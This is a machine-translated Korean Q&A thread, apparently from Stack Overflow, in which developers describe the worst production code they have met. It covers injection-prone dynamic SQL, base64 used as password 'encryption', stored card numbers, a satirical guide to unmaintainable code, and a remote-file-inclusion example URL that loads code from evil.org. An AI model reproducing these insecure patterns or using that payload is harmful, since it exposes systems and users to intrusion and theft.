프로덕션 엔터프라이즈 환경에서 지금까지 본 것 중 가장 사악한 코드는 무엇입니까?
회사의 프로덕션 환경에서 본 것 중 가장 악하거나 위험한 코드 조각은 무엇입니까? 고의로 악의적이며 악하다고 생각되는 프로덕션 코드를 본 적이 없기 때문에 다른 사람들이 무엇을 발견했는지 궁금합니다.
내가 본 가장 위험한 코드는 핵심 프로덕션 데이터베이스 서버에서 두 개의 연결된 서버가 떨어져있는 저장 프로 시저였습니다. 저장 프로시 저는 모든 NVARCHAR (8000) 매개 변수를 허용하고 double-jump sp_executeSQL 명령을 통해 대상 프로덕션 서버에서 매개 변수를 실행했습니다. 즉, sp_executeSQL 명령은 두 개의 연결된 서버를 점프하기 위해 다른 sp_executeSQL 명령을 실행했습니다. 아, 연결된 서버 계정에는 대상 프로덕션 서버에 대한 sysadmin 권한이 있습니다.
경고 : 긴 무서운 게시물 앞에
이전에 여기 와 여기 에서 작업 한 애플리케이션에 대해 작성했습니다 . 간단히 말해 우리 회사는 인도에서 130,000 줄의 쓰레기를 물려 받았습니다. 응용 프로그램은 C #으로 작성되었습니다. 은행에 갈 때마다 카운터 뒤에서 사용하는 것과 같은 종류의 소프트웨어 창구 앱이었습니다. 이 앱은 하루에 40 ~ 50 회 충돌이 발생했으며 단순히 작동 코드로 리팩터링 할 수 없었습니다. 우리 회사는 12 개월 동안 전체 앱을 다시 작성해야했습니다.
이 응용 프로그램이 왜 나쁜가요? 왜냐하면 소스 코드의 광경은 제정신 인 사람을 미치게하고 미친 사람을 제정신으로 몰아 내기에 충분했기 때문입니다. 이 응용 프로그램을 작성하는 데 사용 된 뒤틀린 논리는 Lovecraftian의 악몽에서 영감을 받았을뿐입니다. 이 응용 프로그램의 고유 한 기능은 다음과 같습니다.
130,000 줄의 코드 중 전체 애플리케이션에는 5 개의 클래스 (양식 파일 제외)가 포함되었습니다. 이들 모두는 공개 정적 클래스였습니다. 하나의 클래스는 Globals.cs라고하는데, 여기에는 응용 프로그램의 전체 상태를 유지하는 데 사용되는 1000, 1000 및 1000 개의 공용 정적 변수가 포함되어 있습니다. 이 5 개 클래스에는 총 20,000 줄의 코드가 포함되어 있으며 나머지 코드는 양식에 포함되어 있습니다.
프로그래머가 클래스없이 어떻게 그렇게 큰 응용 프로그램을 작성했는지 궁금 할 것입니다. 데이터 개체를 표현하기 위해 무엇을 사용 했습니까? 프로그래머들은 단순히 ArrayLists, HashTables 및 DataTables를 결합하여 OOP에 대해 배운 개념의 절반을 재창조 할 수있었습니다. 우리는 이것을 많이 보았습니다.
- 해시 테이블의 ArrayList
- 문자열 키와 DataRow 값이있는 해시 테이블
- DataTable의 ArrayLists
- HashTable을 포함하는 ArrayList를 포함하는 DataRows
- DataRows의 ArrayLists
- ArrayLists의 ArrayLists
- 문자열 키와 HashTable 값이있는 HashTable
- HashTable의 ArrayLists의 ArrayLists
- 생각할 수있는 ArrayLists, HashTables, DataTables의 다른 모든 조합.
위의 데이터 구조는 강력한 형식이 아니므로 목록에서 가져온 미스터리 개체를 올바른 형식으로 캐스팅해야합니다. ArrayLists, HashTables 및 DataTables 만 사용하여 만들 수있는 복잡한 Rube Goldberg와 유사한 데이터 구조의 종류는 놀랍습니다.
위에서 설명한 개체 모델을 사용하는 방법의 예를 공유하려면 계정을 고려하십시오. 원래 프로그래머는 계정의 각 조정 가능한 속성에 대해 별도의 HashTable을 만들었습니다. hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName이라는 HashTable. 모든 해시 테이블의 키는 "|" 분리 된 문자열. 상상할 수있는 키에는 "123456 | DDA", "24100 | SVG", "100 | LNS"등이 포함됩니다.
전체 응용 프로그램의 상태는 전역 변수에서 쉽게 액세스 할 수 있었기 때문에 프로그래머는 매개 변수를 메서드에 전달할 필요가 없다는 것을 알았습니다. 90 %의 메소드가 0 개의 매개 변수를 취했다고 말하고 싶습니다. 그 중 일부는 문자열이 무엇을 나타내는 지에 관계없이 편의를 위해 모든 매개 변수가 문자열로 전달되었습니다.
부작용없는 기능은 존재하지 않았습니다. 모든 메서드는 Globals 클래스에서 하나 이상의 변수를 수정했습니다. 모든 부작용이 의미가있는 것은 아닙니다. 예를 들어, 양식 유효성 검사 방법 중 하나는 Globals.lngAcctNum에 저장된 계정에 대한 대출에 대한 초과 및 단기 지불을 계산하는 신비한 부작용이있었습니다.
많은 양식이 있었지만 모두를 지배하는 양식은 frmMain.cs로 무려 20,000 줄의 코드가 포함되어있었습니다. frmMain은 무엇을 했습니까? 모두. 계정 조회, 영수증 인쇄, 현금 지급, 모든 작업을 수행했습니다.
때로는 frmMain에서 메서드를 호출하는 데 필요한 다른 양식이 있습니다. 해당 코드를 폼에서 분리 된 클래스로 팩터링하는 대신 코드를 직접 호출하는 것이 좋습니다.
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
계정을 조회하기 위해 프로그래머는 다음과 같이했습니다.
bool blnAccountExists = new frmAccounts().GetAccountInfo().blnAccountExists
비즈니스 로직을 수행하기 위해 보이지 않는 양식을 만드는 것이 이미 나쁘지만, 양식이 조회 할 계정을 어떻게 알았다고 생각하십니까? 간단합니다. 양식은 Globals.lngAcctNum 및 Globals.strAcctType에 액세스 할 수 있습니다. (헝가리 표기법을 좋아하지 않는 사람은 누구입니까?)
코드 재사용은 ctrl-c, ctrl-v의 동의어였습니다. 20 개의 양식에 복사 / 붙여 넣기 된 200 줄 메서드를 찾았습니다.
응용 프로그램에는 스레드 및 타이머 모델이라고 부르는 기괴한 스레딩 모델이 있습니다. 스레드를 생성 한 각 양식에는 타이머가 있습니다. 생성 된 각 스레드는 200ms 지연이있는 타이머를 시작했습니다. 타이머가 시작되면 스레드가 매직 부울을 설정했는지 확인한 다음 스레드를 중단합니다. 결과 ThreadAbortException이 삼켜졌습니다.
이 패턴을 한 번만 볼 것이라고 생각 하셨겠지만 적어도 10 곳에서 발견했습니다.
스레드와 관련하여 키워드 "잠금"은 응용 프로그램에 나타나지 않았습니다. 스레드는 잠금을 사용하지 않고 전역 상태를 자유롭게 조작했습니다.
응용 프로그램의 모든 메서드에는 try / catch 블록이 포함되어 있습니다. 모든 예외가 기록되고 삼켰습니다.
문자열을 켤 때 열거 형을 켜야하는 사람도 쉽습니다!
일부 천재는 여러 양식 컨트롤을 동일한 이벤트 핸들러에 연결할 수 있다는 것을 알아 냈습니다. 프로그래머는 이것을 어떻게 처리 했습니까?
private void OperationButton_Click(object sender, EventArgs e) { Button btn = (Button)sender; if (blnModeIsAddMc) { AddMcOperationKeyPress(btn); } else { string strToBeAppendedLater = string.Empty; if (btn.Name != "btnBS") { UpdateText(); } if (txtEdit.Text.Trim() != "Error") { SaveFormState(); } switch (btn.Name) { case "btnC": ResetValues(); break; case "btnCE": txtEdit.Text = "0"; break; case "btnBS": if (!blnStartedNew) { string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1); DisplayValue((EditText == string.Empty) ? "0" : EditText); } break; case "btnPercent": blnAfterOp = true; if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false); decCurrValue = decResultValue * decCurrValue / intFormatFactor; DisplayValue(GetValueString(decCurrValue)); AddToTape(GetValueString(decCurrValue), string.Empty, true, false); strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20) + strOpPressed.PadRight(3); if (arrLstTapeHist.Count == 0) { arrLstTapeHist.Add(strToBeAppendedLater); } blnEqualOccurred = false; blnStartedNew = true; } break; case "btnAdd": case "btnSubtract": case "btnMultiply": case "btnDivide": blnAfterOp = true; if (txtEdit.Text.Trim() == "Error") { btnC.PerformClick(); return; } if (blnNumPressed || blnEqualOccurred) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (Operation()) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue(GetValueString(decResultValue)); } else { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue("Error"); } strOpPressed = btn.Text; blnEqualOccurred = false; blnNumPressed = false; } } else { strOpPressed = btn.Text; AddToTape(GetValueString(0), (string)btn.Text, false, false); } if (txtEdit.Text.Trim() == "Error") { AddToTape("Error", string.Empty, true, true); btnC.PerformClick(); txtEdit.Text = "Error"; } break; case "btnEqual": blnAfterOp = false; if (strOpPressed != string.Empty || strPrevOp != string.Empty) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (OperationEqual()) { DisplayValue(GetValueString(decResultValue)); } else { DisplayValue("Error"); } if (!blnEqualOccurred) { strPrevOp = strOpPressed; decHistValue = decCurrValue; blnNumPressed = false; blnEqualOccurred = true; } strOpPressed = string.Empty; } } break; case "btnSign": GetValueDecimal(txtEdit.Text, out decCurrValue); DisplayValue(GetValueString(-1 * decCurrValue)); break; } } }
같은 천재는 또한 영광스러운 삼항 연산자를 발견했습니다. 다음은 몇 가지 코드 샘플입니다.
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty : chkDebits.Checked ? "D" : chkCredits.Checked ? "C" : "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
다음은 StringBuilder의 일반적인 오용을 보여주는 코드 스 니펫입니다. 프로그래머가 루프에서 문자열을 연결 한 다음 결과 문자열을 StringBuilder에 추가하는 방법에 유의하십시오.
private string CreateGridString() { string strTemp = string.Empty; StringBuilder strBuild = new StringBuilder(); foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows) { strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' '); strTemp += " "; strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy"); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' '); strTemp += " "; strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62); strBuild.AppendLine(strTemp); } strCreateGridString = strBuild.ToString(); return strCreateGridString;//strBuild.ToString(); }
테이블에는 기본 키, 인덱스 또는 외래 키 제약 조건이 없었으며 거의 모든 필드가 varchar (50) 유형이었으며 필드의 100 %가 nullable이었습니다. 흥미롭게도 비트 필드는 부울 데이터를 저장하는 데 사용되지 않았습니다. 대신 char (1) 필드가 사용되었고 문자 'Y'와 'N'은 각각 참과 거짓을 나타내는 데 사용되었습니다.
데이터베이스와 관련하여 다음은 저장 프로 시저의 대표적인 예입니다.
ALTER PROCEDURE [dbo].[Get_TransHist] ( @TellerID int = null, @CashDrawer int = null, @AcctNum bigint = null, @StartDate datetime = null, @EndDate datetime = null, @StartTranAmt decimal(18,2) = null, @EndTranAmt decimal(18,2) = null, @TranCode int = null, @TranType int = null ) AS declare @WhereCond Varchar(1000) declare @strQuery Varchar(2000) Set @WhereCond = ' ' Set @strQuery = ' ' If not @TellerID is null Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar) If not @CashDrawer is null Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar) If not @AcctNum is null Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar) If not @StartDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + '''' If not @EndDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + '''' If not @TranCode is null Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar) If not @EndTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar) If not @StartTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt as varchar) If not (@TranType is null or @TranType = -1) Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar) --Get the Teller Transaction Records according to the filters Set @strQuery = 'SELECT TT.TranAmt as [Transaction Amount], TT.TranCode as [Transaction Code], RTrim(LTrim(TT.TranDesc)) as [Transaction Description], TT.AcctNbr as [Account Number], TT.TranID as [Transaction Number], Convert(varchar,TT.ActivityDateTime,101) as [Activity Date], Convert(varchar,TT.EffDate,101) as [Effective Date], Convert(varchar,TT.PostDate,101) as [Post Date], Convert(varchar,TT.ActivityDateTime,108) as [Time], TT.BatchID, TT.ItemID, isnull(TT.DocumentID, 0) as DocumentID, TT.TellerName, TT.CDId, TT.ChkNbr, RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr, (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode, DispensedYN FROM TellerTrans TT WITH (NOLOCK) LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID' Exec (@strQuery)
이 130,000 라인 애플리케이션의 가장 큰 문제는 단위 테스트가 없다는 것입니다.
네,이 이야기를 TheDailyWTF에 보냈고 그만 두었습니다.
이와 같은 암호 암호화 기능을 본 적이 있습니다
function EncryptPassword($password)
{
return base64_encode($password);
}
신용 카드 결제 시스템에서 우리는 이름, 만료 날짜 등과 함께 전체 신용 카드 번호를 저장했습니다.
이것은 불법으로 밝혀 졌는데, 당시 우리가 법무부를 위해 프로그램을 작성하고 있었다는 점을 감안할 때 아이러니합니다.
이것은 상용 코드의 오류 처리 루틴입니다.
/* FIXME! */
while (TRUE)
;
"앱이 계속 잠기는"이유를 알아 내야했습니다.
한 번에 다음 Php '기능'의 모든 조합.
- 글로벌 등록
- 변수 변수
- include ( "http : // ...")를 통한 원격 파일 및 코드 포함;
정말 끔찍한 배열 / 변수 이름 (리터럴 예) :
foreach( $variablesarry as $variablearry ){ include( $$variablearry ); }
(나는 그들이 실현하기 전에 말 그대로 그 일을 어떻게 해결하려고 노력 시간을 보냈다 wern't 같은 변수를)
각각 50 개의 파일을 포함하는 50 개의 파일을 포함하고 작업은 조건부 및 예측할 수없는 방식으로 50 개 파일 모두에서 선형 / 절차 적으로 수행됩니다.
변수 변수를 모르는 사람들을 위해 :
$x = "hello";
$$x = "world";
print $hello # "world" ;
이제 $ x에 URL의 값 (register globals magic)이 포함되어 있으므로 코드의 어디에도 URL에 의해 모두 결정되는 변수가 무엇인지 명확하지 않습니다.
이제 해당 변수의 내용이 웹 사이트 사용자가 지정한 URL이 될 수있을 때 어떤 일이 발생하는지 고려하십시오. 예, 이것은 이해가되지 않을 수 있지만 해당 URL이라는 이름의 변수를 생성합니다.
$http://google.com
,
직접 액세스 할 수 없다는 점을 제외하고는 위의 double $ 기술을 통해 사용해야합니다.
또한 사용자가 URL에 포함 할 파일을 나타내는 변수를 지정할 수있는 경우 다음과 같은 불쾌한 트릭이 있습니다.
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
그 변수가 include($include)
그리고 'evilcode.php'는 코드 평문을 인쇄하고 Php는 부적절하게 보안되어 있습니다.
웹 서버는 디스크 공간이 부족한 상자가 왜 있는지 궁금해 할 때까지 쉘 호출을 허용하고 임의의 바이너리를 다운로드하고 실행하는 등의 모든 권한을 부여하고 한 디렉토리에는 8GB의 불법 복제 영화가 있습니다. 이탈리아어 더빙, 봇을 통해 IRC에서 공유됩니다.
나는 공격을 실행하는 스크립트가 다소 안전하지 않은 데이터베이스에서 극비 정보를 수집하는 것과 같이 정말 위험한 일을하기로 결정하기 전에 잔인 함을 발견 한 것에 감사합니다.
(그 코드베이스로 6 개월 동안 매일 dailywtf를 즐길 수 있었지만, 농담이 아닙니다. 그 코드를 탈출 한 후 dailywtf를 발견 한 것이 아쉽습니다)
주 프로젝트 헤더 파일에서 C로 컴파일러를 설명 할 수 없을 정도로 작성했던 노련한 COBOL 프로그래머가 작성했습니다.
int i, j, k;
"따라서 루프 변수를 선언하는 것을 잊은 경우 컴파일러 오류가 발생하지 않습니다."
Windows 설치 프로그램.
이 기사는 어떻게 관리 할 수없는 코드를 작성 하는가 에 대해 사람에게 알려진 가장 뛰어난 기술을 다룹니다. 내가 가장 좋아하는 것 중 일부는 다음과 같습니다.
아기 이름의 새로운 용도
아기 이름 지정 책을 구입하면 변수 이름을 잃어 버리지 않을 것입니다. Fred는 멋진 이름이며 입력하기 쉽습니다. 입력하기 쉬운 변수 이름을 찾고 있다면 DSK 키보드로 입력하는 경우 adsf 또는 aoeu를 사용해보십시오.
창의적인 맞춤법 오류
설명 변수 및 함수 이름을 사용해야하는 경우 철자가 틀립니다. 일부 함수 및 변수 이름의 철자를 잘못 입력하고 다른 이름 (예 : SetPintleOpening SetPintalClosing)에서 올바르게 철자함으로써 grep 또는 IDE 검색 기술의 사용을 효과적으로 무효화합니다. 놀랍도록 잘 작동합니다. 다른 극장 / 극장에서 tory 또는 tori를 철자하여 국제적인 풍미를 더하십시오.
추상
함수와 변수의 이름을 지정할 때 it, everything, data, handle, stuff, do, routine, perform 및 숫자 (예 : routineX48, PerformDataFunction, DoIt, HandleStuff 및 do_args_method)와 같은 추상적 인 단어를 많이 사용하십시오.
자본화
단어 중간에있는 음절의 첫 글자를 무작위로 대문자로 바꿉니다. 예를 들면 ComputeRasterHistoGram ()입니다.
소문자 l은 숫자 1과 매우 유사합니다.
긴 상수를 나타내려면 소문자 l을 사용하십시오. 예를 들어 10l은 10L이 101로 오인 될 가능성이 더 높습니다. uvw wW gq9 2z 5s il17 |! j oO08` ' ";,. m nn rn {[()]}을 명확하게 구분하는 글꼴을 금지합니다.
변수 재활용
범위 규칙이 허용하는 경우 기존의 관련없는 변수 이름을 다시 사용하십시오. 마찬가지로, 관련없는 두 가지 목적 (스택 슬롯을 절약하기위한 목적)에 동일한 임시 변수를 사용하십시오. 사악한 변형의 경우 변수를 변형합니다. 예를 들어 매우 긴 메서드의 맨 위에있는 변수에 값을 할당 한 다음 중간 어딘가에서 변수의 의미를 미묘한 방식으로 변경합니다. 0 기반 좌표에서 1 기반 좌표로. 의미에서이 변경 사항을 문서화하지 마십시오.
CD wrttn wtht vwls s mch trsr
변수 또는 메서드 이름에 약어를 사용할 때 같은 단어에 대한 여러 변형으로 지루함을 없애고 가끔씩 긴 철자를 사용합니다. 이것은 텍스트 검색을 사용하여 프로그램의 일부 측면 만 이해하는 게으른 부랑자를 물리 치는 데 도움이됩니다. 예를 들어 국제 색상과 미국 색상을 혼합하고 친구와 대화를 나누는 kulerz와 같이 변형 철자를 계략의 변형으로 고려하십시오. 전체 이름을 입력하는 경우 각 이름을 철자하는 방법은 한 가지뿐입니다. 유지 보수 프로그래머가 기억하기에는 너무 쉽습니다. 약어를 사용하여 단어를 축약하는 여러 가지 방법이 있기 때문에 모두 동일한 명백한 목적을 가진 여러 가지 변수를 가질 수 있습니다. 추가 보너스로, 유지 보수 프로그래머는 그것들이 별도의 변수라는 것을 알아 차리지 못할 수도 있습니다.
모호한 영화 참조
파란색 대신 LancelotsFavouriteColour와 같은 상수 이름을 사용하고 $ 0204FB의 16 진수 값을 할당합니다. 색상은 화면에서 순수한 파란색과 동일하게 보이며 유지 보수 프로그래머는 0204FB (또는 일부 그래픽 도구를 사용하여)가 어떻게 생겼는지 파악해야합니다. Monty Python과 Holy Grail에 매우 친숙한 사람 만이 Lancelot이 가장 좋아하는 색이 파란색이라는 것을 알 것입니다. 유지 보수 프로그래머가 메모리에서 Monty Python 영화 전체를 인용 할 수 없다면 프로그래머가되는 일은 없습니다.
명백한 것을 문서화
/ * add 1 to i * /와 같은 주석으로 코드를 뒤 덮으십시오. 그러나 패키지 나 메서드의 전반적인 목적과 같은 모호한 내용을 문서화하지 마십시오.
왜 안되는지 문서화
프로그램이 수행하려는 작업이 아니라 수행하는 작업의 세부 사항 만 문서화합니다. 이렇게하면 버그가있는 경우 수정자는 코드가 수행해야하는 작업에 대한 단서가 없습니다.
부작용
C에서 함수는 멱등 적이어야합니다 (부작용없이). 힌트가 충분하길 바랍니다.
8 진법 사용
8 진수 리터럴을 다음과 같이 10 진수 목록으로 밀어 넣습니다.
array = new int []
{
111,
120,
013,
121,
};
확장 ASCII
확장 ASCII 문자는 ß, Ð 및 ñ 문자를 포함하여 변수 이름으로 완벽하게 유효합니다. 간단한 텍스트 편집기에서 복사 / 붙여 넣기없이 입력하는 것은 거의 불가능합니다.
다른 언어의 이름
외국어 사전을 변수 이름의 소스로 사용하십시오. 예를 들어, 점으로 독일어 펑크를 사용하십시오. 독일어를 확실히 이해하지 못하는 유지 보수 코더는 의미를 해독하는 다문화 경험을 즐길 수 있습니다.
수학의 이름
수학 연산자로 가장하는 변수 이름을 선택하십시오. 예 :
openParen = (slash + asterix) / equals;
주석으로 가장하는 코드 및 그 반대의 경우
주석 처리되었지만 언뜻보기에는 그렇지 않은 코드 섹션을 포함하십시오.
for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3]; * loop is unrolled
total += array[j+4]; * for greater speed.
total += array[j+5]; */
total += array[j+6 ];
total += array[j+7 ];
}
색상 코딩이 없으면 세 줄의 코드가 주석 처리 된 것을 알 수 있습니까?
키워드로 가장하는 임의의 이름
문서화 할 때 파일 이름을 나타내는 임의의 이름이 필요하며 "file"을 사용합니다. "Charlie.dat"또는 "Frodo.txt"와 같이 명백하게 임의의 이름을 사용하지 마십시오. 일반적으로 예에서 가능한 예약 된 키워드와 비슷하게 들리는 임의의 이름을 사용합니다. 예를 들어, 매개 변수 또는 변수의 좋은 이름은 "bank", "blank", "class", "const", "constant", "input", "key", "keyword", "kind", "output"입니다. , "parameter" "parm", "system", "type", "value", "var"및 "variable". 임의의 이름에 실제 예약어를 사용하면 명령 프로세서 또는 컴파일러에서 거부 할 수 있습니다. 잘하면
코드 이름은 화면 이름과 일치하지 않아야합니다.
이러한 변수가 화면에 표시 될 때 사용되는 레이블과 전혀 관련이 없도록 변수 이름을 선택하십시오. 예를 들어 화면에서 "우편 번호"필드에 레이블을 지정하지만 코드에서는 관련 변수 "zip"을 호출합니다.
최고의 과부하 연산자 선택
C ++에서 +,-, *, /를 오버로드하여 덧셈, 뺄셈 등과 전혀 관련이없는 작업을 수행합니다. 결국 Stroustroup이 시프트 연산자를 사용하여 I / O를 수행 할 수 있다면 똑같이 창의적이지 않아야하는 이유는 무엇입니까? +를 오버로드하는 경우 i = i + 5가되는 방식으로 수행해야합니다. i + = 5와는 완전히 다른 의미를가집니다. 다음은 오버로딩 연산자 난독 화를 높은 기술로 끌어 올린 예입니다. '!' 클래스에 대한 연산자이지만 과부하가 반전 또는 부정과 관련이 없습니다. 정수를 반환하도록합니다. 그런 다음 논리 값을 얻으려면 '! ! '. 그러나 이것은 논리를 뒤집기 때문에 [drum roll] 당신은 반드시 '! ! ! '. 혼동하지 마십시오! ~ 비트 논리 부정 연산자와 함께 부울 0 또는 1을 반환하는 연산자입니다.
예외
잘 알려지지 않은 코딩 비밀에 대해 알려 드리겠습니다. 예외는 뒤의 고통입니다. 올바르게 작성된 코드는 실패하지 않으므로 예외는 실제로 불필요합니다. 그들에게 시간을 낭비하지 마십시오. 서브 클래 싱 예외는 코드가 실패 할 것이라는 것을 알고있는 무능한 사용자를위한 것입니다. System.exit ()를 호출하는 전체 응용 프로그램 (메인)에서 하나의 try / catch 만 사용하면 프로그램을 크게 단순화 할 수 있습니다. 실제로 예외를 던질 수 있는지 여부에 관계없이 모든 메서드 헤더에 완벽하게 표준 던지는 집합을 붙입니다.
매직 매트릭스 위치
특정 행렬 위치의 특수 값을 플래그로 사용합니다. 동종 좌표계와 함께 사용되는 변환 행렬의 [3] [0] 요소를 선택하는 것이 좋습니다.
매직 어레이 슬롯 재검토
주어진 유형의 여러 변수가 필요한 경우 배열을 정의한 다음 숫자로 액세스하십시오. 본인 만 알고 문서화하지 않는 번호 지정 규칙을 선택하십시오. 그리고 인덱스에 대해 #define 상수를 정의하지 마십시오. 모두가 전역 변수 위젯 [15]이 취소 버튼이라는 것을 알아야합니다. 이것은 어셈블러 코드에서 절대 숫자 주소를 사용하는 최신 변형 일뿐입니다.
결코 아름답게
자동화 된 소스 코드 정리 (미화 기)를 사용하여 코드를 정렬하지 마십시오. PVCS / CVS (버전 제어 추적)에서 거짓 델타를 생성하거나 모든 프로그래머가 자신이 작성한 모듈에 대해 영구적으로 유지되는 고유 한 들여 쓰기 스타일을 가져야한다는 이유로 회사에서 금지하도록 로비하십시오. 다른 프로그래머가 "자신의"모듈에서 이러한 특이한 규칙을 준수하도록 주장하십시오. 미화기를 금지하는 것은 매우 쉽습니다. 비록 수동 정렬을 수행하는 수백만 개의 키 입력을 저장하고 잘못 정렬 된 코드를 잘못 해석하는 데 며칠을 낭비하더라도 말입니다. 모든 사람이 공통 저장소에 저장하는 것뿐만 아니라 편집하는 동안에도 동일한 형식을 사용하도록 주장하십시오. 이로 인해 RWAR이 시작되고 보스는 평화를 유지하기 위해 자동 정리를 금지합니다. 자동 정리없이 이제 실수로 코드를 잘못 정렬하여 루프와 if의 몸체가 실제보다 길거나 짧거나 else 절이 실제보다 다른 것과 일치한다는 착시를 줄 수 있습니다. 예 :
if(a)
if(b) x=y;
else x=z;
겁쟁이를위한 테스트
용감한 코더는 그 단계를 우회 할 것입니다. 너무 많은 프로그래머가 상사를 두려워하고 직장을 잃는 것을 두려워하며 고객 증오 메일을 두려워하며 고소를 두려워합니다. 이 두려움은 행동을 마비시키고 생산성을 떨어 뜨립니다. 연구에 따르면 테스트 단계를 제거하면 관리자가 선적 날짜를 미리 설정할 수 있으므로 계획 프로세스에 도움이됩니다. 두려움이 사라지면 혁신과 실험이 꽃을 피울 수 있습니다. 프로그래머의 역할은 코드를 생성하는 것이며, 헬프 데스크와 레거시 유지 관리 그룹의 협력을 통해 디버깅을 수행 할 수 있습니다.
코딩 능력에 대한 확신이 있다면 테스트가 필요하지 않을 것입니다. 우리가 이것을 논리적으로 살펴보면, 테스트가 기술적 인 문제를 해결하려는 시도조차하지 않고 오히려 이것은 정서적 자신감의 문제라는 것을 바보라면 누구나 인식 할 수 있습니다. 이러한 자신감 부족 문제에 대한보다 효율적인 해결책은 테스트를 완전히 제거하고 프로그래머를 자부심 과정에 보내는 것입니다. 결국 테스트를 선택하면 모든 프로그램 변경 사항을 테스트해야하지만 자존감 구축에 대한 하나의 과정에만 프로그래머를 보내면됩니다. 비용 이점은 명백한만큼 놀랍습니다.
일반적인 참 거짓 규칙을 뒤집습니다.
참과 거짓의 일반적인 정의를 뒤집으십시오. 매우 분명하게 들리지만 훌륭하게 작동합니다. 숨길 수 있습니다.
#define TRUE 0
#define FALSE 1
아무도 더 이상 보지 않는 어떤 파일에서 프로그램의 내부에서 제거되도록 코드의 깊숙한 곳에 있습니다. 그런 다음 프로그램이 다음과 같은 비교를 수행하도록합니다.
if ( var == TRUE )
if ( var != FALSE )
누군가는 명백한 중복성을 "수정"하고 일반적인 방법으로 다른 곳에서 var를 사용합니다.
if ( var )
또 다른 기술은 TRUE와 FALSE가 동일한 값을 갖도록 만드는 것입니다. 값 1과 2 또는 -1과 0을 사용하는 것은 사람들을 위로 올리면서도 여전히 존경 할만한 것처럼 보이게하는 더 미묘한 방법입니다. TRUE라는 정적 상수를 정의하여 Java에서 이와 동일한 기술을 사용할 수 있습니다. 프로그래머는 자바에 내장 된 리터럴 사실이 있기 때문에 당신이 좋지 않다고 더 의심 할 수 있습니다.
정신 분열증 악용
Java는 배열 선언에 대해 정신 분열증이 있습니다. 이전 C, 방식 String x [] (혼합 된 접두사 표기법 사용) 또는 새로운 방식 String [] x, 순수한 접두사 표기법을 사용할 수 있습니다. 사람들을 정말로 혼동 시키려면 표기법을 혼합하십시오.
byte[ ] rowvector, colvector , matrix[ ];
이는 다음과 같습니다.
byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;
코드를 "악"이라고 부를지 모르겠지만 Object[]
클래스를 작성하는 대신 배열 을 만드는 개발자가있었습니다 . 어디에나.
화요일마다 애플리케이션의 상당 부분에서 모든 사람에게 관리자 권한을 부여하는 코드를 보았습니다 (그리고 thedailywtf에 게시했습니다). 원래 개발자가 로컬 머신 테스트 후 코드를 제거하는 것을 잊은 것 같습니다.
나는 이것이 오해만큼 "악"인지 잘 모르겠습니다 (최근에 The Old New Thing에 게시했습니다) :
나는 정보를 구분 된 문자열로 저장하는 것을 좋아하는 한 사람을 알고있었습니다. 그는 구분 된 문자열의 배열을 사용했을 때와 같이 배열의 개념에 익숙했지만 전구는 켜지지 않았습니다.
문자열에 int를 저장하기위한 Base 36 인코딩.
나는 이론이 다음과 같은 선을 따라가는 것이라고 생각합니다.
- 16 진수는 숫자를 나타내는 데 사용됩니다.
- 16 진수는 F 이외의 문자를 사용하지 않으므로 GZ가 낭비 됨
- 낭비는 나쁘다
지금은 이벤트가 발생할 수있는 요일을 7 비트 비트 필드 (0-127)로 저장하고 데이터베이스에 '0'범위의 2 자 문자열로 저장하는 데이터베이스를 사용하고 있습니다. '3J'로.
게시물 요청을 받고 매개 변수로 전달 된 사용자 이름과 암호를 사용하여 GET으로 리디렉션 된 로그인 핸들러를 본 기억이 있습니다. 이것은 "엔터프라이즈 급"의료 시스템을위한 것이 었습니다.
